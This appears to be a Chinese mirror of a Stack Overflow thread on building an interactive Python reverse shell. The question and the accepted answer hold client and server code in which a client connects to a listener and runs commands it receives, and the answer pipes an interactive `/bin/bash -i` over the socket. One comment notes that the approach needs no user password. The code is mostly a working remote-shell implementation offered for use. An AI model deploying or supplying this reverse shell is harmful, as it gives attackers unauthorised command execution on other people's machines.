【问题标题】:Python true interactive remote reverse shellPython真正的交互式远程反向shell
【发布时间】:2017-08-03 16:29:05
【问题描述】:

我正在尝试使用 Python 创建一个 true 交互式远程 shell。当我说真的时,我的意思是我不想只执行一个命令并发送结果——我已经在工作了。我也不想通过让服务器解释目录更改或其他方式来抽象执行单个命令。

我试图让客户端启动交互式/bin/bash 并让服务器发送命令,然后由相同的持久外壳执行。例如,如果我运行cd /foo/bar,那么pwd 将返回/foo/bar,因为我将与同一个bash shell 进行交互。

这里有一些精简的示例代码,目前只执行单个命令...

# client.py
import socket
import subprocess

s = socket.socket()
s.connect(('localhost', 1337))

while True:
    cmd = s.recv(1024)

    # single command execution currently (not interactive shell)
    results = subprocess.Popen(cmd, shell=True,
              stdout=subprocess.PIPE, stderr=subprocess.PIPE,
              stdin=subprocess.PIPE)
    results = results.stdout.read() + results.stderr.read()

    s.sendall(results)

# server.py
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('localhost', 1337))
s.listen(5)

conn, _ = s.accept()

while True:
    cmd = raw_input('> ').rstrip()
    conn.send(cmd)

    results = conn.recv(4096)
    print results

我尝试了很多解决方案,但都没有奏效。 subprocess 模块有一个通信方法,但它会在一个命令后杀死 shell。我真的很希望能够使用 stdlib 来完成此任务,但我在阅读 this thread 后查看了 pexpect 模块。但是,我也不能让它工作?它的主要用例看起来也不是用于创建交互式外壳,而是捕获特定的命令行输出以进行交互。我什至无法使用 pexpect 执行单个命令...

import pexpect, sys
proc = pexpect.spawn('/bin/bash')
proc.logfile = sys.stdout
proc.expect('$ ')
proc.sendline('pwd\n')

如果有人可以提供帮助,我将不胜感激,我觉得有一种方法可以多线程并使用子进程生成/bin/bash -i,然后一些如何写入标准输入并从标准输出读取?提前致谢,对冗长感到抱歉。

【问题讨论】:

  • 为什么要自己编写所有这些而不是使用 ssh 库,例如paramiko:见stackoverflow.com/questions/373639/…
  • @AChampion 为此,您不需要知道用户的密码。
  • 你有没有找到办法做到这一点?尝试做同样的事情。

标签: python python-2.7 shell subprocess remote-access


【解决方案1】:

试试这个代码:

# client.py
import socket
import subprocess

s = socket.socket()
s.connect(('localhost', 1337))

process = subprocess.Popen(['/bin/bash', '-i'],
              stdout=s.makefile('wb'), stderr=subprocess.STDOUT,
              stdin=s.makefile('rb'))
process.wait()
# server.py
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('localhost', 1337))
s.listen(5)

conn, _ = s.accept()

fp = conn.makefile('wb')

proc1 = subprocess.Popen('cat', stdin=conn.makefile('rb'))
while True:
    fp.write(sys.stdin.read(4096))
proc1.wait()

【讨论】:

    猜你喜欢
    • 2021-12-04
    • 2022-11-30
    • 2011-12-18
    • 2011-09-01
    • 2016-09-22
    • 2020-05-27
    • 2010-10-10
    • 2021-08-28
    • 1970-01-01
    相关资源
    最近更新 更多